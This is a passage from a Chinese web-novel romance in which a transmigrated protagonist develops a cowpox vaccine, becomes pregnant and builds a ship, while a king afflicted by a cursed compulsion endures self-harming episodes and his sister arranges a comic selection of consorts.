阮锦想了想,说道:“先去找一头健康的小牛,再找一头生病的牛,把一头牛的牛痘种到另一头牛身上。培养出病毒浓液,采集加甘油留用。呃……差点忘了,咱们这里没有甘油。那……就现刮现用吧!也别先用到人身上,找几只小白鼠或者小兔子给它们抹上。如果没有任何问题,就再找几个胆子大的来试。如果这几个人的胆子仍然大,可以再让他们去感染区感染一下天花试试。如果没有被感染,就算临床试验成功了。” 九大夫:……那还是挺麻烦的。 不过他不嫌麻烦,身为医者,自然是任何坎坷都试得。 古有神农尝百草,今有九大夫以身试牛痘。 当天上午他便去集市了买了一头长了牛痘的牛回来,恰好家里的大黄和二黄一人生了一头小牛,便被九大夫拿来做临床实验了。 阮锦还在一旁指点他,告扩他健康的小牛犊应该如何接种牛痘,如何培养出更多的牛痘浓胞,如何提取出牛痘病毒粘液,如何保存牛痘病毒。 但由于古代没有冻干技术,病毒极易失活,只能把它密封于小瓶子里,再放到冰窖内,这样应该可以保存一到两个月。 最后,九大夫还是把牛痘疫苗研究出来了,还找来了几个勇士,其中包括九大夫。 他身为医者,自然要以身试毒,再说了,牛痘这种东西毒性不强,并没有什么死亡率。 阮锦由于怀着孕,离他们有多远算多远。 虽然牛痘对人类来说并不算多么厉害的病毒,可让一个孕夫得病,那风险还是大了些。 九大夫亲自操刀,在那些人的胳膊上划了道小口子,一群大老爷们儿排队等着九大夫割胳膊,一个个疼的龇牙咧嘴,阮锦在后院笑得合不拢嘴。 割完后一人领了十两银子,这十两银子在古代可是足够一大家子一整年的吃用。 为了这些钱,确实值得铤而走险。 九大夫没让他们走,临床实验必须要亲自监测,直到他们的胳膊发了炎,出了花,甚至还有几个发了两天烧,直到他们结痂痊愈,九大夫才终于松了口气。 他看着自己胳膊上的花朵形印迹道:“这算是成功迈出了第一步吧?接下来,我就要进入疫区进行第二步实验了!” 阮锦缓缓打出一个问号,朝九大夫竖起了一个大拇指,但也没有阻止他,毕竟这东西也没什么好担心的,因为牛痘的死亡率确实很低,也的的确确可以抵抗天花。 只是他凉凉的说了一句:“说好了你会陪着我的,现在连你也要抛弃我了吗?你不是说你现在是我唯一的夫君了吗?你不是说要一直陪着我吗?” 九大夫:…… 他的唇角抖了抖,突然觉得自己如果真的离开,好像真的会变成渣男。 而真正的渣男此时终于彻底平息了朝堂的争端,和幽国的谈判也告一段落了。 最后幽国割让了五个城池,换取了暂时的和平安宁。 端阳长公主也终于在此时松了口气,她最近一直在忙幽国使臣的事,这两天也总算放松了下来,才能好好的和自家弟弟说上两句话。 她接过宫女手上的茶盏,示意她们下去,宫女们离开后,端阳公主亲自去将那杯茶放到了渊夜昙的手边。 渊夜昙抬头看了一眼端阳公主,浓墨重彩的一张俊脸似是挂着万年寒霜,他开口道:“阿姐。” 声线一如往常的冷凝深沉,似那无波的古井,又似那结冰的深潭。 端阳公主道:“有些事,我不问,不表示我不往心里去。你这一去便是半年,可知道我有多担心?下次万万不能再这样了。” 渊夜昙放下笔,端起茶杯喝了一口,又不轻不重的放回了桌子上,只道:“阿姐不必多虑,一切尽在我的掌控之中。” 端阳公主了解自己这个弟弟,但凡是他自己能做的,就绝不会假手他人。 当年他们姐弟同去幽国为质,哪怕弟弟小了她好几岁,却仍然站在她身前,不遗余力的保护着她。 想到这里,端阳公主问道:“阿弟,最近……身子怎么样?可还有发作?” 第95章 渊夜昙似乎陷入了沉思,片刻后他抬起头,问道:“我上次发作……是什么时候?” 端阳公主微怔,她想了想,应道:“你离宫前,三月初五。” 那次发作来势汹汹,还失手打死了一名欲图爬上龙床的宫女,他用一柄钢针插入了自己的胸膛,放了半碗的心头血出来。 端阳公主十分不解,既然有人愿意为他纾解情欲,为什么阿弟就是不愿。 渊夜昙算了一下时间,说道:“还早,今日才二十五,阿姐不必忧心。” 端阳公主又道:“我听说……搭救你的那个人,自尽死了?” 渊夜昙淡淡嗯了一声,没多说什么,公主又道:“阿弟,你有没有想过,你这半年来欲期是怎么过的?” 渊夜昙不知道为什么,内心一直在抗拒提起这件事,提起这个人。 他只是淡淡的轻哼了一声:“不重要的人罢了,我本欲赐他爵位,但他既然死了,那这件事便罢了。阿姐,这些小事你就不要放到心上了。若是没有政务上的要事,阿姐便去休息吧!” 一听阿弟这么说,端阳公主便知,他不想再提起这些过往。 既然阿弟不想提,那她不论如何也是问不出来的,只能作罢。 此时的黑羽卫统领谢晗已经回到了家中,迟麟抱着孩子在院中等他,一见父亲回来了,小家伙便从迟麟的怀里下来,叭哒叭哒跑到了谢晗脚边,张开两条肉嘟嘟的小胳膊便要抱,喊里还喊着:“父亲回来啦!要父亲抱抱!” 谢晗随手捞起儿子,喊了一声:“檀儿乖。” 长腿一迈,两步走到了迟麟的面前,一把将他搂进怀里,并重重的亲了一口。 谢檀吓得把眼睛一捂,嚷嚷道:“父亲不知羞!父亲不知羞!” 谢晗一脸无语,扒拉了儿子的脑袋一下,说道:“父亲不是不知羞,而是喜欢爹爹。不过,也只有成婚以后才可以这样做,檀儿可不能跟着学。” 谢檀一脸懵懂,缓缓点了点头。 迟麟很是无奈,他抱过谢檀,将他交给了乳母,吩咐带下去休息。 待到谢檀被抱走,谢晗便一把将迟麟抱了起来,将他抱进了卧房内,着实是一番云雨,让干渴了许久的哥儿得到了雨露甘霖般的滋润。 谢晗很是满意,抚摸着夫郎后背滑腻的肌肤道:“阿麟许久没有如此热情了。” 迟麟脸颊微烫,说道:“你还好意思说,你自己说你多久没回家了?本以为在桃花县可以与你见上一面,你倒是好,是故意躲着不见我吗?” 谢晗当即喊冤:“那必然不是,王上吩咐,他外出之时,不论何种情况之下,除非他有暴露的风险,否则哪怕危及他的性命,我们这些黑羽卫也是不得现身的。” 迟麟不解,却也不能问为什么,因为谢晗是黑羽卫,黑羽卫的一切只听凭王上的吩咐,外人绝不能有任何置喙。 谢晗把迟麟搂在怀里,说道:“让你受委屈了,这些时日想必很难熬吧?” 迟麟却淡淡笑了笑,应道:“倒是也没有,那位角先生,比你得用。” 谢晗:??? 他一脸震惊的坐了起来,问道:“阿麟,你这话是何意?你……该不会找别人了吧?我……我虽然……虽然……” 这个莽夫不太会说话,而且一着急就结巴,半天说不出个所以然来。 迟麟看够了热闹才轻声笑了笑,从盒子里拿出一把触器来说道:“你在想些什么呢?我只是在桃花县遇到一知己,他见我成熟期难熬,这才送予我的。” 谢晗一看,那盒子里竟是一根长约六寸的玉雕假唧唧。 他先是松了口气,后又皱了皱眉,问道:“这……谁送你的?” 迟麟轻笑,答道:“阮锦,是我一个朋友。” “阮锦?”迟麟惊了,开口道:“他……他死了。” 这回轮到迟麟猛然坐起来了,他一脸焦急的问道:“你……你说什么?我说的是阮锦,在桃花县有食神之称的阮锦!你是不是弄错了?” 谢晗摇着头,否认道:“没有,我本欲奉王上之命带那人来京封官的,毕竟他是王上的救命恩人。可是……我第二日上门时,却得来了他已死的消息。整个桃花县的人都在为他送行,当真天妒英才。” “封官?”迟麟皱眉:“那也是万万使不得的,齐颂声容不得他,若是他来了京城,就凭齐颂声的所做所为,怕是阮锦不会有好日子过。” 处处受排挤便罢了,齐颂声这个人小人心肠,不喜别人越过他去,不能压了他第一哥儿的声名。 从前便对迟麟处处看不过眼,但迟麟是大司农,位列九卿之一,他是不敢造次的。 而且迟麟背后是声名赫赫的门阀迟氏,就连长兴侯也得忌惮几分。 阮锦无依无靠,再加上他对皇上的救命之恩,以及他们……那若有似无的一段亲密关系,阮锦怕是有性命之危。 若是王上能护他还好,如今王上完全失了那段在桃花县的记忆,他不记得阮锦了,只知道是阮锦救了他,虽能护上一护,却无法时时刻刻护在身边。 唯一能护住阮锦的地方是王宫,可他只是王上的救命恩人,他又有什么资格入宫? 迟麟心念电转,问道:“晗哥,你亲眼见到阿锦的尸体了?” 谢晗摇头:“王上未吩咐彻查此事,我们黑羽卫便不能插手。” 迟麟又问:“是不是齐颂声下的手?” 谢晗又摇了摇头:“我派人盯了齐颂声,他为了确认阮锦是否已死,亲自去开棺验了尸,结果被吓得连夜赶回了京城。想必,不是他动的手。据他的贴身小厮说,是自杀身亡。” 迟麟若有所思,半天后才道:“我不信。” “什么?”谢晗拥住他,把他往怀里带了带。 迟麟继续道:“我说我不信他会自杀,这里面定有什么蹊跷。但既然王上没有吩咐,你便当不知道这件事好了。想必阿锦,自有他的安排。” 如果自己都能想到他处境艰难,想必阿锦也能想到,这倒是一个绝佳的金蝉脱壳之计。 谢晗道:“你笃定那阮郎君没有死?” 迟麟淡笑:“他不会死的,如果连他这样的人都会想不开去自杀,那这世间便没有人能活下去了。但王上那边,你倒也不用说什么。伴君如伴虎,只要王上不提,你也便别提了。” 其实迟麟之所以会这么说,主要是想尊重阮锦的意思。 如果阮锦真的想跟着王上回京城,就不会走这一招金蝉脱壳,他既然这么选择了,肯定有他的用意。 如果有一天他出现,那无疑会重新震撼这个世界。 据桃花县的县民说,蛮锦食记短短几个月便一跃成为桃花县家喻户晓的美食区,甚至整个东南郡都有人慕名前往。 还有那些往来的客商,无一不与奇货巷做生意。 如果再多给他几年时间,怕是他的商业版图,要覆盖整个中原吧? 只不过迟麟的预计还是保守了,胆小了,到时候阮锦会给他一个极大的惊喜。 不过此时的阮锦却在残血中,可能是因为头三个月,孕反着实太严重了。 他抱着肚子吐来吐去,九大夫一脸怨念的看着他,本来打算去疫区的,看他这个样子是真的忍心走。 阮锦一边吐一边朝他挥手:“你去你的,家里那么多人陪着我呢。四儿和三儿晚上都过来陪我,阿二天天给我送饭,阿大还三不五时的给我送点小玩意儿。春夏秋冬天天给我扭秧哥儿,逗我开心,我还能缺了你一个人不成?” 九大夫一边给他开药一边答:“他们确实都不错,可他们知道你孕吐的时候该如何给你开药吗?等着吧!我去给你搓药丸子!” 片刻后,阮锦吃了药丸子,终于不吐了。 吐是不吐了,又困的不行,躺到床上一睡就是十几个小时。 阮锦只觉得怀孕这个活儿简直了,为什么他怀个孕反应那么大,早知道就不怀了。 好在孕吐只吐到了第四个月,突然就不吐了,而且精神状态特别好,整个人都精神了起来。 九大夫也终于放下心来,安安心心带着那几名壮汉去了疫区。 阮锦则白天在庄子里散步玩耍,偶尔的搞个小发明,只等着把宝宝生下来。 他这边倒是岁月静好,渊都那位却非常非常不好。 端阳公主担心的事情还是发生了,且一发病就是来势汹汹,似是要将前面没有发作的两个月补回来。 一开始,端阳公主一直在观察渊夜昙的情况,初三的时候甚至在天行殿内守到了半夜,却发现王上并没有要发病的意思。 接连三日,都是平安无事,这让她忍不住松了一口气,心想阿弟出去这些时日,该不会意外把病治好了吧? 毕竟从前都是每月发作一次,尤其是月阴之时,更是发作得猛烈。 如今却接连两个月没有发作,这让端阳公主十分高兴,甚至让医生为他把了脉,只说陛下身体康健,没有任何问题。 谁料本月月阴之时,恰逢一场大雪,伴着那阴霾的天色,夜昙开始了他回来后的第一次性瘾发作。 看着把自己锁在寝宫内铁笼子里,正在用刀片一下一下割着自己胳膊的夜昙,端阳公主的心仿佛也正被一刀一刀的割开。 她双膝跪到了夜昙的面前,苦苦的哀求道:“阿弟,你和我说说,你快和我说说,什么样的人能入你的眼?哪怕是找遍这天下,我也要给你弄来!” 渊王双目赤红,头靠着牢笼的栏杆,嗓音沙哑的说道:“阿姐,别费心了……没用的……” 第96章 这句话说完,又是一阵惊涛骇浪传来,刀片在掌心里紧紧攥住,鲜血顺着指缝流了出来。 用尽最后一丝清醒,渊王拉到了牢笼内的帘子,并对笼外的端阳公主道:“出去吧!我不想让人看到我不堪的样子。” 端阳公主泪眼涔涔,她咬住牙关,十分不忍的转身离开。 这么多年了,从一开始一年只发作一两次,到后面每隔一个月便要发作一次,从前只要一日便好,如今已是第三日了,若是以后都要折磨数日,那阿弟可还有活路? 端阳公主喃声道:“不行,不能再这样下去了!我必须要为阿弟立后!” 回到携寿宫后,端阳公主便下了一道秘令,让心腹女官任花鸟使,在天下网罗身体康健的哥儿作为后宫备选。 同一时间,齐颂声也得到了消息,他的心情当即飞扬了起来。 他起身问长兴侯:“爹爹,您说的是真的吗?王上真的要选后?” 长兴侯捋了捋胡子,说道:“应该不是王上的意思,大概率是端阳公主的想法。能不能成,恐怕还不好说。” 齐颂声却很高兴,他说道:“那……那,爹爹,我可不可以……” 长兴侯眉心蹙了蹙,摇了摇头道:“声儿,爹爹知道你心悦王上,倒也不是不允许你和他在一起。只是……声儿啊!王上的情况你也看到了,宫里盛传他有隐疾,实是天阉之人。如果你和他在一起,为父着实是怕委屈了你。” “不是的!”齐颂声连想都没想便开口道,接着却又清了清嗓子,说道:“他……他没有这种病,爹爹你不要听旁人瞎说。公主都在为王上选后了,他的身体肯定没问题的。” 而且他亲眼看到王上和阮锦卿卿我我,如果真是天阉之人,他又怎么可能和阮锦在一起。 那个阮锦最是可恶,明明已经有了那个九大夫,还要把失忆的王上收了,简直可恶至极。 得亏他是死了,否则自己是绝计不会放过他的! 长兴侯的眼中有了算计,他轻轻笑了笑,满脸慈爱的说道:“为父明白,声儿长大了,如今也有十六岁了,若是声儿有想法,不如常去宫内走动走动。你既有第一哥儿的声名,那定是外面那些粗鄙之人比不得的。若是真入了王眼的睛,那为父怕是留不得你喽。” 齐公声的喜悦之色溢于言表,他上前搂住长兴侯,扑进他怀里道:“谢谢爹爹,我就知道,爹爹你对我最好了!” 而此时的王宫内,渊夜昙终于昏死过去,而在他的身下,竟有一摊触目惊心的鲜血。 为了扛过这次的瘾症期,他三天三夜未进食水,钢针在他身上扎了一针又一针,若非知道刺入心头有损寿元,可能那根又粗又长的钢针便会直直的扎入心头。 反正他用心头血,也不是一次两次的了,倒也不怕什么。 反倒是每次钢针刺入心头,他都有一种前所未有的痛快。 这些东西都不算什么,真的不算什么,他在血尸山时所经历的筋骨寸断以及血脉被撕裂的感觉,那才是人生至痛。 饶是渊夜昙削骨剜肉,死生不计的这种性子,每每想到当时的遭遇也是心有余悸。 那是胎骨重塑的痛,那是筋脉刺入骨血的重生,更是万千阴灵吞噬血肉的梦魇。 如今也只是忍受这望不到边际的瘾症罢了,这又算得了什么呢? 当年他深埋在血尸山万骨窟,蛆虫爬满了他的全身,钻入他的血脉,若非他锻筋洗脉够快,怕是也已成为那万千血尸当中的一具了。 渊夜昙缓缓睁开了眼睛,由于失血过多,让他的面色看上去仿佛一具僵尸一般无二。 他扶着牢笼的栏杆站了起来,伸手按下机关,踉踉跄跄的从里面走了出来。 每次瘾症发作,所有宫女太监都会被他赶出去,除了曾经有一名宫女发觉了他的秘密,产生了邪念想爬床外,倒是没有无辜的宫女太监因为他的瘾症而丧命。 但所有人都知道,王上在这个时候是绝对不能靠近的,因为上次那名宫女死状极其惨烈,让所有宫人都产生了阴影。 渊夜昙推开宫门,守在门外的黑羽卫朝他行了个礼,他吩咐道:“去,给孤准备一套干净的衣衫。” 黑羽卫听令去了,很快便拿了一套干净的黑色衣衫过来。 渊夜昙换好了衣衫,长公主才从宫外走了进来,眼中透着关切,身后还带着一名御医。 御医赶紧上前为他把了脉,先是一惊,接着看向了长公主。 长公主皱眉问道:“徐太医,有什么事但说无妨。” 徐太医叹息道:“王上的元阳上亢之症,本来是得到了缓解的。但不知为何,缺了那缓解之因,如今来势反倒是更为汹涌。怕是往后……每月月阴,至少要有三日的折磨,才能缓过来。” 长公主的眉心蹙得更紧了,她问:“可有什么缓解之法?” 徐太医摇了摇头,如果真有办法,那他之前就拿出来了,何必等到现在。 长公主没办法,只得摆了摆手,让他下去了。 待到徐太医离开,长公主又问渊夜昙:“阿弟,你……你在桃花县时,是不是遇到过什么人?他……他是否帮你缓解过元阳上亢之症?” 渊夜昙却只是摇了摇头,说了三个字:“不记得。阿姐,无碍,区区小事,不足挂齿。” 长公主有些生气了,说道:“小事,小事,于你来说是小事,于我们这些骨肉至亲来说可并不是小事!在意你的人,日日心如刀割!你我一母同胞,我身为你的长姐,怎么可能眼睁睁看着你受苦?” 可能是刚从瘾症里抽离,渊夜昙整个人看上去有些飘忽,说话声音和语气也透着森然的冷意:“让阿姐忧心了,但……真的无碍。” 说完他转身,吩咐进来的宫女:“孤要沐浴。” 宫女们去准备了热水,渊王宽衣进了浴桶中,长公主在屏风外仍未离开,她眉心紧锁道:“我想找找,有没有合适的哥儿做你的王后。我知你不原娶一女子,怕无辜女子丧命。若是习武的哥儿,身强体壮些的,应无大碍吧?” 渊夜昙的脑袋有些飘忽,他只是淡淡的嗯了一声,便躺在浴桶里沉沉的睡去。 醒来后,渊夜昙简单的喝了一些粥,精神以肉眼可见的速度恢复,当天晚上便坐到书案前批起奏章来。 长公主可能是会错了意,当天晚上便让花鸟使开始去寻找身强体壮的哥儿。 恢复了体力的阮锦却已经开始寻摸着做点别的事儿了,他晚上画图纸,白天就让尉迟融给他找各种工匠和木料。 甚至离了庄子,离了东南郡,去了隔壁的东郡,在一处海边停了下来。 尉迟融接了九大无留给他的任务,只说不论师父想去哪儿都让他陪着,千万不要让他有什么想不开的。 尉迟融也十分尽职尽责,天天守着他,不论他有任何需求都满足。 结果不出月余的时间,阮锦就带着数十名工匠鼓捣出了一艘大趸船。 那船似与普通船只不同,不但大出数十倍出来,上面还盖了个三层小楼。 看着那艘大船,尉迟融叹为观止,问道:“师父,您造船干什么?” 阮锦根据他的记忆,画了一幅世界地图出来,指着上面其中一处说道:“这里是东南亚……应该有很多的香蕉椰子和橡胶!你帮我找些懂水性的人,我想带人去东南亚那一块儿转转。” 尉迟融:??? 他缓缓打出几个问号,心想东南亚又是什么地方,师父您能不能不要想一出是一出? 阮锦心想这个时期,东南亚那边应该还挺荒凉的,大概率还多有蛇虫鼠蚁出没,应该做好万全之策才是。 不如招一些岭南的异士,再招一些水性极好的渔民,这样应该就万无一失了。 结果尉迟融不干了,他张口就是一个:“不行!别的事儿我都能依您,但这件事绝对不行!您想带人跑去那种不毛之地,我是绝对不答应的。您现在和师爹又不是完全分开了,万一他哪天想起来了,跑来找我要人,我交不出人来,那不得被他给千刀万剐了?” 不用怀疑,渊王陛下是绝对干得出来的。 不论阮锦怎么闹,尉迟融就是不同意,最后阮锦只能妥协:“我不去,我让别人带着去。你给我找一个靠谱的领队,我跟他们说要搜集的物资。这回总行了吧?” 尉迟融终于松了口,四处去帮他找寻能人异士。 其实阮锦也是不太敢去的,他现在挺着四五个月的孕肚,总不好带着孩子去冒险,万一海上遇到风暴,那可不是闹着玩的。 好在能人异士不难找,找了一个多月,总算是凑齐了一个三十人的小分队。 尉迟融派了自己的侍卫队队长跟了过去,让他务必认真完成阮锦吩咐的任务。 他们都知道,阮锦的脑子里都是些奇思妙想,既然让他们找东西,那东西肯定是有大用处的。 就这样,大趸船在众人的期盼中远行,阮锦则又开始琢磨研究别的了。 他一个人无聊,无聊就想整点东西出来,突然想玩手机,打游戏,还想吹空调。 但是不可能,凭他一个人,就算有天大的能力,也不可能搞出高科技了。 但他可以试试发电,如果他能弄出电来,说不定别的东西也有机会。 这虽是个异想天开,但不要小瞧无聊之人的行动能力,尤其他挺着个大肚子,总觉得多做点手工,对肚子里的阮豆包来说也是很好的胎教。 第97章 所以阮锦怀孕这个阶段,也是他创造力最为丰富,创造出来的东西最多的一个阶段。 奇货巷几乎每天都在上新,什么蛋糕、龙须酥、蛋黄派、核桃酥、粉丝粉条、土豆粉、挂面、甚至还有各种油纸包装的速食螺蛳粉、方便面、方便粉丝、后面这些深受行军打仗者的喜爱,甚至收到了许多的军粮单。 阮锦听说自己做的速食被军粮盯上了,就在想这些东西阿蛮会不会吃上。 他不是喜欢御驾亲征吗? 如果能吃上……那吃死他算了! 狗男人,呵呵! 狗男人这段时间却并不好过,他本打算一次性把周边几个小国扫荡一下,虽然构不成什么威胁,可他们各怀鬼胎,有的亲幽,有的亲北越。 在渊国攻打其他国家城池的时候,经常遇到这些周边小国的背刺。 结果还没出门,就看到长公主给他带了十几名身强体健的哥儿进来,一个儿个儿非常不符合当下哥儿的审美,黑壮黑壮的不说,一个个肌肉爆发一脸横肉还跟座小山包似的。 见了这些哥儿,狗男人头疼的按了按太阳穴,点评到:“能找到如此多的能人异士,也真是辛苦阿姐了。” 长公主只当自家弟弟是在夸她,勾唇道:“阿弟觉得怎么样?这些哥儿身强体壮,你是绝对不会伤到他们的。” 这时,恰逢大太监传膳,皇帝拿起筷子,又看了一眼那些“壮士”,半天后又缓缓放下了筷子,开口道:“阿姐,要不你让他们下去吧?我……吃不下。” 隐隐有些反胃,并没有冒犯他们的意思。 长公主有些傻眼,心想确实是自己考虑的不周了,阿弟也是个正常男人,他的审美应当不会如此……猎奇。 挥手让人下去后,长公主又开口道:“那我再想办法找些合你眼缘的,这些确实有些……过了些。怪我,只考虑到了身强体壮,没考虑到容貌上的问题。” 那些壮士们出去后,渊夜昙开始吃饭,他想了想还是说道:“阿姐,要不还是算了吧!三天也无妨,也只是三天而已。” 若是娶了那些哥儿,折磨的可就不仅仅是三天了…… 长公主心想什么叫也只是三天而已,三天的时间,他就把自己折磨的人不像人鬼不像鬼。 若是后面,时间再长了,他该如何忍受? 长公主不愿意看着他受苦,还是想给他找一名合适的王后。 虽然端阳公主没再说什么,心里却仍然没有放弃,这时殿外有太监来传话,说是长兴侯求见。 渊夜昙让人撤下了膳食,低低道:“让他进来吧!” 这些时日不见,长兴侯已经恢复了精气神儿,全然不见了前些时日受到惊吓时的萎靡。 长兴侯朝渊夜昙行了个礼,脸上有些为难的说道:“王上,臣……有事要表。” 大太监递上了茶,渊夜昙抿了一口,问道:“王叔有事直说,自家人说什么两家话?” 听渊夜昙这温和的说话态度,长兴侯却半点也不敢放松,这个侄子是个什么性子他再了解不过了。 就凭他刚刚进到王宫,到处都是坐在轿子上的傀儡替身,害他磕了至少十个头就知道,这位王上病得更重了。 长兴侯的态度仍是恭恭敬敬,说道:“王上,臣……是想给我的小儿子,求一个无干紧要的爵位。” 渊夜昙有些意外,问道:“小儿子?……王叔有几个儿子?” 长兴侯清了清嗓子,开口道:“臣……有四个儿子,小儿子乃是有着天下第一哥儿和佛子之名的齐颂声。” 渊夜昙想了想,似是没什么印象,又问道:“给一个哥儿求爵位?你这个当父亲的倒是挺宠爱小儿子。” 长兴侯笑了笑,说道:“王上您有所不知,我这小儿子,本是我表妹所生。我那表妹,与我阴差阳错生生错过了。为了生声儿,又难产而亡,我也只能把他抱回身边养。他虽不是亲生,却胜似亲生。只是我每每想来,总觉得对不起他的生身母亲,所以一直想把这世间最好的东西给他。王上,臣为他求爵位也不是为别的,只是想让他活得轻松自在些。这孩子心思单纯,从不会为自己争抢。若是他能在我的庇护下过一世便罢了,可下臣这把年纪,也不知还能护他几天啊……” 渊夜昙不耐烦听他这些废话,只问了一句:“不知王叔想给你这小儿子求什么爵位呢?” 长兴侯应道:“县男即可。” 县男已经是大渊最低的爵位了,食邑三百户,从前本还有个乡男,渊夜昙觉得这些乡男为祸乡里又没有什么贡献,便全都革掉了。 渊夜昙想了想,嗯了一声道:“县男,着实低了些,不如就封为县子吧!食邑五百户,赐良田百亩。” 长兴侯一听,高兴极了,当即跪下谢恩。 待到长兴侯离开,端阳公子的眉心略微皱了皱,说道:“也不知道这位郡侯大人的葫芦里又在卖什么药,竟然在这个时候给他儿子求爵位。” 渊夜昙却不甚在意,只说道:“不重要,他想要什么,便给他什么。不但要满足他,还要多多的满足。胃口养大了,才知道索求更多。别说是给他儿子求一个小小县男,哪怕是他的爵位想再进一步,都没有任何问题。” 当初夜王夺嫡,兄弟死了大半,活着的也都夹着尾巴做人。 那只是表面上,实际上虎视眈眈的多了,他却并不宠爱他的兄弟们,除了封了一个郡王王,其余的封号全是郡伯,足足低了长兴侯这个郡侯一等。 而这个郡王却是个残废,坐在轮椅上十几年了,可以说这个封号就是个摆设。 端阳公主问道:“阿弟这样做,就不怕姑息养奸,让他产生什么不臣之心?” 渊夜昙却轻轻笑了:“那又如何?这大渊王室,本就不是什么良善之辈,没有一个无辜之人。” 端阳公主知道阿弟不喜欢大渊,也不想当这个王,他之所以回来,为的就是将那些曾经践踏欺辱过他们的人狠狠的踩在脚下玩弄。 只是当了这个王,便会有诸多无奈,在其位谋其政,这两年阿弟想的明显的多了许多。 他知道天下四分不稳,唯一的目的就是将这天下一统,天下一统便可少许多战乱。 但他也知道,自己没办法治理这天下,他以心头血养顶级傀儡,不光损健康,更会损寿元。 如果他想一统天下,便要将这天下的灵脉尽数毁掉,这样才不会再有各国傀儡师矩阵,想再分裂,便会难上加难。 到时候哪怕集权者争得再狠,下面的百姓总能免遭战乱之苦。 至于别的,他管不了那么多,众生皆苦,他又何偿不是,只能尽自己所能罢了。 就这样,远在东郡海边的阮锦收到两个消息,一个是渊都城内在选秀,一个是齐颂声被封为青书县子。 听到这两个消息的时候,阮锦倒是没什么想法,倒是把大老远跑来探望阮锦的四儿给气了个够呛。 他一进门就开始骂,一直骂到中午吃饭,骂到阮锦给他炸了小麻花和油条,骂到一顿午饭吃完,把碗一放继续骂:“这个阿蛮,真不是个东西,亏得少爷对他这么好,一回渊都就把少爷给忘了!哼!气死我了!” 阮锦终于听不下去了,劝道:“别气别气,不值当的,把自己的身子气坏了就不好了。” 四儿这才反应过来,眼中露出了疑惑,问道:“少爷,你怎么一点儿都不生气?他都开始全天下的选秀了,你就不怨他?” 阮锦笑了,说道:“选秀的是渊夜昙,又不是我的阿蛮,我有什么好生气的?阿蛮是阿蛮,渊夜昙暗渊夜昙。他是大名鼎鼎的渊王,而我的阿蛮只是一名普通的高阶傀儡师而已。而且他还是个小傻子,怎么能跟渊王比?” 其实阮锦早就接受现实了,接受他的阿蛮从这个世界上消失了,但他带给自己的温暖却可以照亮他的整个后半生。 还有他肚子里的孩子,他以后会告诉阮豆包,他的父亲阿蛮,是个非常非常非常好的人。 四儿仿佛懂了,他轻轻叹了口气,本来还想骂一骂渊王给少爷出出气的,谁料自己的这一通骂骂咧咧倒是成了少爷眼中的笑话。 倒是少爷今日做的小麻花和炸糕油条很是好吃,有甜的还有咸着,配上一杯少爷亲自熬的豆浆,简直香极了。 这些时日阮锦的肚子大了起来,六个月的身孕让他行动有些不便,除了动动嘴让手下的人做点奇货,其余时间都有闲逛钓鱼养鸟种花。 今日四儿来了,说是要陪他一段时间,刚好渊王的花鸟使又在东郡临沿海这边选透,他便拉上四儿去看热闹。 四儿也是无语了,说道:“少爷,您还跑去看热闹?不怕看到渊王选的绝色哥儿后自己先受不了了吗?” 阮锦嘴上说着:“那不正好饱饱眼福?看看东郡这边出什么样的美人哥儿。” 说完,他拉着四儿一起来到了选秀现场。 选秀现场层层叠叠的围了一大群人,阮锦好不容易才挤了进去,只见里面坐着几名女官,前面站着几个彪形大汉。 女官开口道:“第一位,徐家村的徐二牛徐哥儿,你来展示一下自己的才艺吧!” 只见一名金刚芭比扭扭捏捏上前,捏着嗓子说道:“回大人的话,小人单手能提两百余斤,表演的才艺是胸口碎大石!” 刚喝了一口水果饮子的阮锦扑哧一声喷了旁边人一脸,呛得咳嗽了半天没缓过一。 第98章 阮锦赶紧道歉,拿出手巾来替他擦拭,一边擦拭一边道:“对不住,真的对不住,我不是有意的,兄弟你感觉怎么样?” 那兄弟倒也没怎么生气,只说了一句:“小心点儿,虽然这确实挺招笑的,但是你笑的时候也得看着人点儿,至少别喝水。” 阮锦哈哈哈哈笑的停不下来,心想渊王你是不是来搞笑的,你是选妃还是选保镖呢? 这一个个的壮如小山包的哥儿们也确实难寻,难怪会跑到东郡来选,毕竟东郡是整个中原人里海拔最高的人群。 恐怕也只有东郡,才能选出那么多的壮硕哥儿。 只是这一个个的金刚芭比着实辣眼睛,他们为了选秀还特意化了浓妆着了彩衣,这看上去就更滑稽了。 阮锦的笑声引来了女官们的注意,吓的四儿赶紧捂住了他的嘴巴,把他给拽出了人群。 两人出了人群后笑的更加肆无忌惮了,四儿一边笑一边道:“少爷,你说渊王为什么要选那么壮硕的哥儿做老婆?” 阮锦心想大概是为了应对他那个瘾症吧! 但……不知道为什么,他就是有自信,渊王十有八九看不上。 倒也不是看上看不上的问题,阿蛮自知有瘾症,却从未想过伤害任何人,觉得自己脏,也不想弄脏任何人。 想必也不仅仅是嫌弃自己脏,像他这种孤傲的人,怕是也嫌弃别人的。 渊王怎么想的,阮锦自是不知道的,他只是在外围看了会儿热闹,便乐呵呵的回家去了。 渊都里却又是另外一番景象,渊帝打发掉了三波“金刚芭比”,愁的头发都白了两根。 他心想阿姐哪里都好,就是操的闲心太多了。 这一个个的,都什么跟什么啊! 那黝黑的皮肤,化着鲜红的嘴唇,身上还喷了香露,抹了精油。 据说,是最近十分流行的香氛套装。 闻着还怪熟悉的。 可看着那辣眼睛的装扮,渊夜昙的脑瓜子就嗡嗡的,终于忍不住吐槽了一句:“你长成这样在村子里是嫁不出去的吧?” 跪在御前的金刚芭比汪的一声哭了出来,捂着脸泪奔了。 恰好入宫面圣谢恩的齐颂声见状唇角忍不住勾了起来,他一袭雪青色深衣,衣襟与袖口以银线绣着细密的云纹,腰间束着月白色绦带,外罩一层烟罗纱衣,若隐若现地透出里衣的纹样,如雾笼寒江,朦胧而矜贵。 清雅俊秀的哥儿青丝半束,以一支白玉簪松松绾住余发垂落肩背,如墨瀑倾泻。 相较于方才的金刚芭比,他面容白皙如瓷,眉眼如画,唇若点朱,却无半点脂粉气,反倒是天生自带一股子青竹一般的书卷气。 齐颂声垂眸敛衽,恭敬行礼,开口道:“下臣拜见王上。” 这时渊王才稍稍抬了抬头,问道:“你来干什么?” 齐颂声只觉得自己精心的打扮给了瞎子看,忍不住一阵恼火,心想自己到底哪一点比不上那个乡野哥儿? 齐颂声缓慢的走到了渊王的身边,拿起墨条来为他研墨,一边研墨一边柔顺的说道:“青书是来拜谢王上恩典的,多谢王上给我赐封爵位。” 渊王心想不过是个小小县子,有什么好谢恩的。 但他没说什么,手上活儿比较多,前段时间东南水患,这段时间东郡又有旱灾。 